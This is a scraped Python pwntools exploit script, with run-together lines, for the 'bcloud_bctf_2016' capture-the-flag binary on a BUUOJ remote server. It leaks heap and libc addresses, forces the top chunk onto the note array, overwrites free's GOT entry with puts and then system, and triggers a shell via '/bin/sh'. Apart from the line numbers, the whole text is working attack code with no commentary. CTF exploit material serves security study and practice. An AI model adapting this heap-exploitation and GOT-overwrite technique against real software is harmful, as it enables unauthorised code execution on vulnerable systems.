1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| from pwn import * from LibcSearcher import *
sh = remote('node3.buuoj.cn',25777) elf = ELF('./bcloud_bctf_2016') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] free_got = elf.got['free'] heap_array_addr = 0x0804B120 sh.sendafter('Input your name:','a'*0x40) sh.recvuntil('a'*0x40) heap_addr = u32(sh.recv(4)) print 'heap_addr=',hex(heap_addr) sh.sendafter('Org:','a'*0x40)
sh.sendlineafter('Host:',p32(0xFFFFFFFF)) top_chunk_addr = heap_addr + 0xD0 print 'top_chunk_addr=',hex(top_chunk_addr)
def add(size,content): sh.sendlineafter('option--->>','1') sh.sendlineafter('Input the length of the note content:',str(size)) sh.sendafter('Input the content:',content)
def edit(index,content): sh.sendlineafter('option--->>','3') sh.sendlineafter('Input the id:',str(index)) sh.sendafter('Input the new content:',content)
def delete(index): sh.sendlineafter('option--->>','4') sh.sendlineafter('Input the id:',str(index)) offset = heap_array_addr - top_chunk_addr - 0x10 add(offset,'')
add(0x18,'\n')
edit(1,p32(0) + p32(free_got) + p32(puts_got) + p32(0x0804B130) + '/bin/sh\x00')
edit(1,p32(puts_plt) + '\n')
delete(2) sh.recv(1) puts_addr = u32(sh.recv(4)) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr)
edit(1,p32(system_addr) + '\n')
delete(3)
sh.interactive()
|